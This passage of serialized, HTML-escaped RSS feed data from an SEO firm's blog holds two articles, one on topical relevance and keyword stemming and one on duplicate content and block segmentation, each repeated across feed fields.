/&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Create Topical Relevance for Keyword Stemming&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;What degree of contextual extraction from search engine snippets contributes to ambient or unintentional search engine rankings? Considering that &lt;strong&gt;over 50% of keyword queries are unique&lt;/strong&gt; and even search engines have not seen them; information retrieval relies on &lt;a href=\&quot;http://seodesignsolutions.com/blog/how-to-reference-material/using-lsi-based-synonyms-for-on-page-semantic-relevance/\&quot;&gt;contextual relevance&lt;/a&gt; to determine a pages quality score determined by the domain authority.&lt;span id=\&quot;more-2553\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/web-search-engine/\'&gt;Search engine&lt;/a&gt; optimization (&lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/search-engine-optimization-2/\'&gt;SEO&lt;/a&gt;) involves fine tuning your pages for optimal performance in search engines.  While many webmasters and &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/search-engine-optimization-2/\'&gt;SEO&lt;/a&gt;&amp;#8216;s only focus on &lt;strong&gt;metrics you can measure&lt;/strong&gt;, there is a holistic and alchemical element that occurs naturally over time when the value of each page blends and fuses to create topical islands of relevance. This topical relevance allows pages to rank for a plethora of key phrases unintentionally and deliver an array of traffic to fuel conversion for your website.&lt;/p&gt;\n&lt;p&gt;There is a &lt;strong&gt;window of relevance&lt;/strong&gt; that search engines use to determine which content stays and which content goes. For example, pages from sites that have not been visited since 1997 without inbound links, references or any type of inference from peers (other sites) lack the necessary impact to remain a relevant result and are either minimized to &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/ranking/\'&gt;ranking&lt;/a&gt; for 1-2 terms or are essentially pushed out of the index.&lt;/p&gt;\n&lt;p&gt;On the contrary a new page from a trusted site or a new page from a site being linked to from other topical sites, social media sites, news aggregators, directories or editorially from various sources does have the needed ingredients to toggle the metrics necessary to be considered a relevant page and thus ensures its survival in the SERPs.&lt;/p&gt;\n&lt;p&gt;Essentially, each page that crosses a &lt;strong&gt;relevance threshold&lt;/strong&gt; for the on page and off page synergy starts to stem and rank for keywords found sparsely on that page. This translates into hit after hit for keyword that was not considered primary phrases for the page in question.&lt;/p&gt;\n&lt;p&gt;This is typically referred to as &lt;em&gt;mid-tail to long-tail traffic&lt;/em&gt;, however, this type of traffic can often exceed intentional (sought after) primary keywords consistently. In addition, using this aspect of how search engines scale relevance (before awarding a site a top &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/ranking/\'&gt;ranking&lt;/a&gt;) &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/website-optimization-tips-for-link-building-and-seo/\&quot;&gt;keyword stemming&lt;/a&gt; should be utilized as a strategic advantage.&lt;/p&gt;\n&lt;p&gt;Mapping out the most &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/seo-optimized/\&quot;&gt;relevant shingles&lt;/a&gt; to define your page to search engines, then using accommodating anchor text (on page) within the site with internal links and reinforcing that with (off page) links from other sites with related topical reference (&lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/peer-review/\'&gt;peer review&lt;/a&gt;) creates authority for those keywords and key phrases.&lt;/p&gt;\n&lt;p&gt;So, for those still trying to measure the &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-services/seo-pricing-why-seo-rates-cost-so-much/\&quot;&gt;&lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/return-on-investment/\'&gt;ROI&lt;/a&gt; of &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/search-engine-optimization-2/\'&gt;SEO&lt;/a&gt;&lt;/a&gt; prematurely, the results are cumulative and essentially continue to overlap over time. The takeaway is, with the exceedingly high degree of click fraud occurring in &lt;a href=\&quot;http://seodesignsolutions.com/blog/internet-marketing/seo-ppc-advertising-branding-or-lead-generation/\&quot;&gt;&lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/pay-per-click/\'&gt;PPC&lt;/a&gt; &lt;/a&gt;(up to 35% in some instances) taking control of how you communicate your pages purpose to search engines and how they evaluate your website (as a reference or authority) is an added benefit of &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/search-engine-optimization-2/\'&gt;SEO&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;For every keyword you target with purpose, 10 more are also pulled into the spotlight (which you can use to stem and pull up multiple related pages within your website into the top 10 results).&lt;/p&gt;\n&lt;p&gt;What is &lt;strong&gt;the value of a top 10 &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/ranking/\'&gt;ranking&lt;/a&gt;&lt;/strong&gt; you might ask? That all depends on how trafficked the keyword or the topic are. However, aside from &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/web-traffic/\'&gt;visitors&lt;/a&gt; typing in keywords and searching for those pages, search engines can evaluate when your content has passed the contextual point of relevance and will essentially return those pages as relevant results (when someone searches).&lt;/p&gt;\n&lt;p&gt;With this in mind, you can target the low hanging fruit of today to capture the most competitive keywords in the long-run and create a pure win/win relevance model for your website.&lt;/p&gt;\n&lt;p&gt;Viewing &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/search-engine-optimization-2/\'&gt;SEO&lt;/a&gt; from this standpoint, you can reap the immediate short-term benefits of rankings funneling &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/web-traffic/\'&gt;visitors&lt;/a&gt; to landing pages or take the approach of devouring market share so that &amp;#8220;just in case&amp;#8221; prospects search for a particular topic; your website is there at the helm of all things related.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=5s6Rr3nWUss:pCMvl1WIdDA:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/5s6Rr3nWUss\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:487:\&quot;For the purpose of SEO, context is a definitive factor that can (1) elevate your website past others competing for similar or related keywords (2) build topical domain authority and (3) increase conversion by having a higher number of pages occupying a larger percentage of market share for related keywords and queries. Create Topical Relevance &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/articles/topical-relevance-seo-and-keyword-stemming/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:3:\&quot;wfw\&quot;;a:1:{s:10:\&quot;commentrss\&quot;;s:96:\&quot;http://www.seodesignsolutions.com/blog/articles/topical-relevance-seo-and-keyword-stemming/feed/\&quot;;}s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;28\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:91:\&quot;http://www.seodesignsolutions.com/blog/articles/topical-relevance-seo-and-keyword-stemming/\&quot;;}s:7:\&quot;summary\&quot;;s:487:\&quot;For the purpose of SEO, context is a definitive factor that can (1) elevate your website past others competing for similar or related keywords (2) build topical domain authority and (3) increase conversion by having a higher number of pages occupying a larger percentage of market share for related keywords and queries. Create Topical Relevance &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/articles/topical-relevance-seo-and-keyword-stemming/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:8050:\&quot;&lt;p&gt;For the purpose of &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;&lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/search-engine-optimization-2/\'&gt;SEO&lt;/a&gt;&lt;/a&gt;, context is a definitive factor that can (1) elevate your website past others competing for similar or related keywords (2) build topical &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/develop-domain-authority/\&quot;&gt;domain authority&lt;/a&gt; and (3) increase conversion by having a higher number of pages occupying a larger percentage of market share for &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-basics/using-related-search-to-find-googles-most-search-keywords/\&quot;&gt;related keywords&lt;/a&gt; and queries.&lt;/p&gt;\n&lt;div id=\&quot;attachment_2549\&quot; style=\&quot;width: 435px\&quot; class=\&quot;wp-caption aligncenter\&quot;&gt;&lt;a href=\&quot;http://seodesignsolutions.com/blog/articles/topical-relevance-seo-and-keyword-stemming/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-2549\&quot; title=\&quot;keyword-stemming\&quot; src=\&quot;http://seodesignsolutions.com/blog/wp-content/uploads/2009/05/keyword-stemming.jpg\&quot; alt=\&quot;Create Topical Relevance for Keyword Stemming\&quot; width=\&quot;425\&quot; height=\&quot;282\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/05/keyword-stemming.jpg 425w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/05/keyword-stemming-300x199.jpg 300w\&quot; sizes=\&quot;(max-width: 425px) 100vw, 425px\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Create Topical Relevance for Keyword Stemming&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;What degree of contextual extraction from search engine snippets contributes to ambient or unintentional search engine rankings? Considering that &lt;strong&gt;over 50% of keyword queries are unique&lt;/strong&gt; and even search engines have not seen them; information retrieval relies on &lt;a href=\&quot;http://seodesignsolutions.com/blog/how-to-reference-material/using-lsi-based-synonyms-for-on-page-semantic-relevance/\&quot;&gt;contextual relevance&lt;/a&gt; to determine a pages quality score determined by the domain authority.&lt;span id=\&quot;more-2553\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/web-search-engine/\'&gt;Search engine&lt;/a&gt; optimization (&lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/search-engine-optimization-2/\'&gt;SEO&lt;/a&gt;) involves fine tuning your pages for optimal performance in search engines.  While many webmasters and &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/search-engine-optimization-2/\'&gt;SEO&lt;/a&gt;&amp;#8216;s only focus on &lt;strong&gt;metrics you can measure&lt;/strong&gt;, there is a holistic and alchemical element that occurs naturally over time when the value of each page blends and fuses to create topical islands of relevance. This topical relevance allows pages to rank for a plethora of key phrases unintentionally and deliver an array of traffic to fuel conversion for your website.&lt;/p&gt;\n&lt;p&gt;There is a &lt;strong&gt;window of relevance&lt;/strong&gt; that search engines use to determine which content stays and which content goes. For example, pages from sites that have not been visited since 1997 without inbound links, references or any type of inference from peers (other sites) lack the necessary impact to remain a relevant result and are either minimized to &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/ranking/\'&gt;ranking&lt;/a&gt; for 1-2 terms or are essentially pushed out of the index.&lt;/p&gt;\n&lt;p&gt;On the contrary a new page from a trusted site or a new page from a site being linked to from other topical sites, social media sites, news aggregators, directories or editorially from various sources does have the needed ingredients to toggle the metrics necessary to be considered a relevant page and thus ensures its survival in the SERPs.&lt;/p&gt;\n&lt;p&gt;Essentially, each page that crosses a &lt;strong&gt;relevance threshold&lt;/strong&gt; for the on page and off page synergy starts to stem and rank for keywords found sparsely on that page. This translates into hit after hit for keyword that was not considered primary phrases for the page in question.&lt;/p&gt;\n&lt;p&gt;This is typically referred to as &lt;em&gt;mid-tail to long-tail traffic&lt;/em&gt;, however, this type of traffic can often exceed intentional (sought after) primary keywords consistently. In addition, using this aspect of how search engines scale relevance (before awarding a site a top &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/ranking/\'&gt;ranking&lt;/a&gt;) &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/website-optimization-tips-for-link-building-and-seo/\&quot;&gt;keyword stemming&lt;/a&gt; should be utilized as a strategic advantage.&lt;/p&gt;\n&lt;p&gt;Mapping out the most &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/seo-optimized/\&quot;&gt;relevant shingles&lt;/a&gt; to define your page to search engines, then using accommodating anchor text (on page) within the site with internal links and reinforcing that with (off page) links from other sites with related topical reference (&lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/peer-review/\'&gt;peer review&lt;/a&gt;) creates authority for those keywords and key phrases.&lt;/p&gt;\n&lt;p&gt;So, for those still trying to measure the &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-services/seo-pricing-why-seo-rates-cost-so-much/\&quot;&gt;&lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/return-on-investment/\'&gt;ROI&lt;/a&gt; of &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/search-engine-optimization-2/\'&gt;SEO&lt;/a&gt;&lt;/a&gt; prematurely, the results are cumulative and essentially continue to overlap over time. The takeaway is, with the exceedingly high degree of click fraud occurring in &lt;a href=\&quot;http://seodesignsolutions.com/blog/internet-marketing/seo-ppc-advertising-branding-or-lead-generation/\&quot;&gt;&lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/pay-per-click/\'&gt;PPC&lt;/a&gt; &lt;/a&gt;(up to 35% in some instances) taking control of how you communicate your pages purpose to search engines and how they evaluate your website (as a reference or authority) is an added benefit of &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/search-engine-optimization-2/\'&gt;SEO&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;For every keyword you target with purpose, 10 more are also pulled into the spotlight (which you can use to stem and pull up multiple related pages within your website into the top 10 results).&lt;/p&gt;\n&lt;p&gt;What is &lt;strong&gt;the value of a top 10 &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/ranking/\'&gt;ranking&lt;/a&gt;&lt;/strong&gt; you might ask? That all depends on how trafficked the keyword or the topic are. However, aside from &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/web-traffic/\'&gt;visitors&lt;/a&gt; typing in keywords and searching for those pages, search engines can evaluate when your content has passed the contextual point of relevance and will essentially return those pages as relevant results (when someone searches).&lt;/p&gt;\n&lt;p&gt;With this in mind, you can target the low hanging fruit of today to capture the most competitive keywords in the long-run and create a pure win/win relevance model for your website.&lt;/p&gt;\n&lt;p&gt;Viewing &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/search-engine-optimization-2/\'&gt;SEO&lt;/a&gt; from this standpoint, you can reap the immediate short-term benefits of rankings funneling &lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/web-traffic/\'&gt;visitors&lt;/a&gt; to landing pages or take the approach of devouring market share so that &amp;#8220;just in case&amp;#8221; prospects search for a particular topic; your website is there at the helm of all things related.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=5s6Rr3nWUss:pCMvl1WIdDA:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/5s6Rr3nWUss\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:1;a:13:{s:5:\&quot;title\&quot;;s:49:\&quot;Block Segmentation, Duplicate Content, SEO and IR\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/5cAozBpoIes/\&quot;;s:8:\&quot;category\&quot;;s:156:\&quot;SEO ResourcesAvoid Duplication Across BlocksSearch Engine Context and DuplicationSEOSEO and Block SegmentationSEO and IRSEO Term Frequency and Co occurrence\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Sun, 14 May 2017 06:55:18 PDT\&quot;;s:4:\&quot;guid\&quot;;s:79:\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:6111:\&quot;&lt;p&gt;Often you hear about the need to prevent duplicate content within your own website as it applies to &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SEO&lt;/a&gt;, but why? This is our take on why creating uniquely distinct nodes on each page is imperative for your content to produce not only context, but rankings as opposed to tripping search engine filters.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-resources/seo-information-retrieval\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9652\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/04/uniqueness.jpg\&quot; alt=\&quot;duplicate content\&quot; width=\&quot;425\&quot; height=\&quot;282\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/04/uniqueness.jpg 425w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/04/uniqueness-300x199.jpg 300w\&quot; sizes=\&quot;(max-width: 425px) 100vw, 425px\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Block segment analysis dictates the value of weight / ranking  factors a web page is given for a set portion of the page. For example, text in the header and footer of a document are treated differently than say text in the body section of a page.&lt;/p&gt;\n&lt;p&gt;The header is given more weight than the footer and typically the body text is given more value than both (since that is where the page has the ability to distinguish itself from borrowed elements, i.e. navigation, etc.).&lt;span id=\&quot;more-1821\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;The reason for this is simple, page composition dictates that proximity and distinction (the more unique one document is from another) by distinguishing your content, the better. Search engines can easily discern duplication (through shingle analysis, singular value decomposition, etc.) in areas such as navigation, sidebars/blogrolls with the same links and footers all using the same text. This has the tendency of diffuse a pages ranking potential.&lt;/p&gt;\n&lt;p&gt;In order to leverage a page for &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt;, it must (1) get indexed and (2) stay indexed in order to pass its ideal &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/seo-theme-density-2/\&quot;&gt;ranking factor&lt;/a&gt;, be used to bridge ranking factor as a &lt;a href=\&quot;http://seodesignsolutions.com/blog/articles/hub-pages-for-seo/\&quot;&gt;hub&lt;/a&gt; by building &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-web-design/internal-links-are-you-making-the-most-of-yours/\&quot;&gt;internal links&lt;/a&gt; to and from that page. If search engines determine that your pages are redundant or ubiquitous the dampener kicks in algorithmically and the ranking factor can be suppressed via de-indexing or filters (&lt;strong&gt;like the supplemental index&lt;/strong&gt;) as a basis of sequencing leaving the same repetitive hash mark (from document to document).&lt;/p&gt;\n&lt;p&gt;This aspect of the ranking algorithm is based on the &lt;a href=\&quot;http://www.miislita.com/semantics/c-index-1.html\&quot;&gt;c-index&lt;/a&gt; whereby &lt;a href=\&quot;http://www.miislita.com/information-retrieval-tutorial/cosine-similarity-tutorial.html\&quot;&gt;term weight&lt;/a&gt; and similarity are used to assign relevance through &lt;a href=\&quot;http://mathworld.wolfram.com/SingularValueDecomposition.html\&quot;&gt;singular value decomposition&lt;/a&gt; as a base vector across web pages. If enough of the singular values are identified across the global collection of documents then you have co-occurrence (which may in this instance work against your ranking objectives).&lt;/p&gt;\n&lt;p&gt;Duplication via a template or though tag pages that lack unique content can go supplemental in a secondary search index, if they are not nurtured with enough &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/what-is-the-real-value-of-a-link/\&quot;&gt;internal link flow&lt;/a&gt;. The gist here is, the larger your website grows, the higher the probability of diffusing or diluting your global nodes / top ranking keywords (a.k.a &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/duplicate-content-and-shingle-analysis-for-seo/\&quot;&gt;keyword cannibalization&lt;/a&gt;) like an over-optimization penalty.&lt;/p&gt;\n&lt;p&gt;Just like a base that shifts to accommodate scalability, the foundation (like a triangle) must continue to broaden its base if the vertical threshold continues to rise. Similarly, the more pages you add about (1) topic A shift the focus from topic B. The common thread in most websites is the navigation (which if left to a simplistic ontology is not sufficient to feed an entire website).&lt;/p&gt;\n&lt;p&gt;You can stem a websites topic into multiple topics, however each has a threshold to cross and moving on many fronts requires more inbound links and internal stability though secondary navigation to &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/using-seo-to-sculpt-relevance-for-keyword-prominence/\&quot;&gt;sculpt the on page factors&lt;/a&gt; that identify each segments (to pass value).&lt;/p&gt;\n&lt;p&gt;This is why &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization-myths/you-cant-buy-credibility/\&quot;&gt;virtual theming&lt;/a&gt; (linking from relevant keywords in one document to another document) is so important. It allows the ranking factor to transfer link weight to the champion page through term frequency which essentially raises the bar in how search engines will interpret each respective keyword when considering it for retrieval.&lt;/p&gt;\n&lt;p&gt;Deep linking (acquiring inbound links to a specific page vs. just the homepage) is equally as beneficial for eliminating the tendency for pages to go supplemental (or lose ranking factor as a unique asset). When you spread a site too thin (expand the content through automation) such as using a shopping cart that pulls similar values from a database. You must ensure that you have the ability to customize data (titles, h1, and content) to make each page distinct enough to add additional leverage to your primary, secondary and tertiary keywords that define your website.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=5cAozBpoIes:1bPFb7KHJek:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/5cAozBpoIes\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:446:\&quot;Often you hear about the need to prevent duplicate content within your own website as it applies to SEO, but why? This is our take on why creating uniquely distinct nodes on each page is imperative for your content to produce not only context, but rankings as opposed to tripping search engine filters. Block segment &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:3:\&quot;wfw\&quot;;a:1:{s:10:\&quot;commentrss\&quot;;s:84:\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/feed/\&quot;;}s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;13\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:79:\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot;;}s:7:\&quot;summary\&quot;;s:446:\&quot;Often you hear about the need to prevent duplicate content within your own website as it applies to SEO, but why? This is our take on why creating uniquely distinct nodes on each page is imperative for your content to produce not only context, but rankings as opposed to tripping search engine filters. Block segment &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:6111:\&quot;&lt;p&gt;Often you hear about the need to prevent duplicate content within your own website as it applies to &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SEO&lt;/a&gt;, but why? This is our take on why creating uniquely distinct nodes on each page is imperative for your content to produce not only context, but rankings as opposed to tripping search engine filters.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-resources/seo-information-retrieval\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9652\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/04/uniqueness.jpg\&quot; alt=\&quot;duplicate content\&quot; width=\&quot;425\&quot; height=\&quot;282\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/04/uniqueness.jpg 425w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/04/uniqueness-300x199.jpg 300w\&quot; sizes=\&quot;(max-width: 425px) 100vw, 425px\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Block segment analysis dictates the value of weight / ranking  factors a web page is given for a set portion of the page. For example, text in the header and footer of a document are treated differently than say text in the body section of a page.&lt;/p&gt;\n&lt;p&gt;The header is given more weight than the footer and typically the body text is given more value than both (since that is where the page has the ability to distinguish itself from borrowed elements, i.e. navigation, etc.).&lt;span id=\&quot;more-1821\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;The reason for this is simple, page composition dictates that proximity and distinction (the more unique one document is from another) by distinguishing your content, the better. Search engines can easily discern duplication (through shingle analysis, singular value decomposition, etc.) in areas such as navigation, sidebars/blogrolls with the same links and footers all using the same text. This has the tendency of diffuse a pages ranking potential.&lt;/p&gt;\n&lt;p&gt;In order to leverage a page for &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt;, it must (1) get indexed and (2) stay indexed in order to pass its ideal &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/seo-theme-density-2/\&quot;&gt;ranking factor&lt;/a&gt;, be used to bridge ranking factor as a &lt;a href=\&quot;http://seodesignsolutions.com/blog/articles/hub-pages-for-seo/\&quot;&gt;hub&lt;/a&gt; by building &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-web-design/internal-links-are-you-making-the-most-of-yours/\&quot;&gt;internal links&lt;/a&gt; to and from that page. If search engines determine that your pages are redundant or ubiquitous the dampener kicks in algorithmically and the ranking factor can be suppressed via de-indexing or filters (&lt;strong&gt;like the supplemental index&lt;/strong&gt;) as a basis of sequencing leaving the same repetitive hash mark (from document to document).&lt;/p&gt;\n&lt;p&gt;This aspect of the ranking algorithm is based on the &lt;a href=\&quot;http://www.miislita.com/semantics/c-index-1.html\&quot;&gt;c-index&lt;/a&gt; whereby &lt;a href=\&quot;http://www.miislita.com/information-retrieval-tutorial/cosine-similarity-tutorial.html\&quot;&gt;term weight&lt;/a&gt; and similarity are used to assign relevance through &lt;a href=\&quot;http://mathworld.wolfram.com/SingularValueDecomposition.html\&quot;&gt;singular value decomposition&lt;/a&gt; as a base vector across web pages. If enough of the singular values are identified across the global collection of documents then you have co-occurrence (which may in this instance work against your ranking objectives).&lt;/p&gt;\n&lt;p&gt;Duplication via a template or though tag pages that lack unique content can go supplemental in a secondary search index, if they are not nurtured with enough &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/what-is-the-real-value-of-a-link/\&quot;&gt;internal link flow&lt;/a&gt;. The gist here is, the larger your website grows, the higher the probability of diffusing or diluting your global nodes / top ranking keywords (a.k.a &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/duplicate-content-and-shingle-analysis-for-seo/\&quot;&gt;keyword cannibalization&lt;/a&gt;) like an over-optimization penalty.&lt;/p&gt;\n&lt;p&gt;Just like a base that shifts to accommodate scalability, the foundation (like a triangle) must continue to broaden its base if the vertical threshold continues to rise. Similarly, the more pages you add about (1) topic A shift the focus from topic B. The common thread in most websites is the navigation (which if left to a simplistic ontology is not sufficient to feed an entire website).&lt;/p&gt;\n&lt;p&gt;You can stem a websites topic into multiple topics, however each has a threshold to cross and moving on many fronts requires more inbound links and internal stability though secondary navigation to &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/using-seo-to-sculpt-relevance-for-keyword-prominence/\&quot;&gt;sculpt the on page factors&lt;/a&gt; that identify each segments (to pass value).&lt;/p&gt;\n&lt;p&gt;This is why &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization-myths/you-cant-buy-credibility/\&quot;&gt;virtual theming&lt;/a&gt; (linking from relevant keywords in one document to another document) is so important. It allows the ranking factor to transfer link weight to the champion page through term frequency which essentially raises the bar in how search engines will interpret each respective keyword when considering it for retrieval.&lt;/p&gt;\n&lt;p&gt;Deep linking (acquiring inbound links to a specific page vs. just the homepage) is equally as beneficial for eliminating the tendency for pages to go supplemental (or lose ranking factor as a unique asset). When you spread a site too thin (expand the content through automation) such as using a shopping cart that pulls similar values from a database. You must ensure that you have the ability to customize data (titles, h1, and content) to make each page distinct enough to add additional leverage to your primary, secondary and tertiary keywords that define your website.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=5cAozBpoIes:1bPFb7KHJek:yIl2AUoC8zA\&quot;&gt;&lt;img 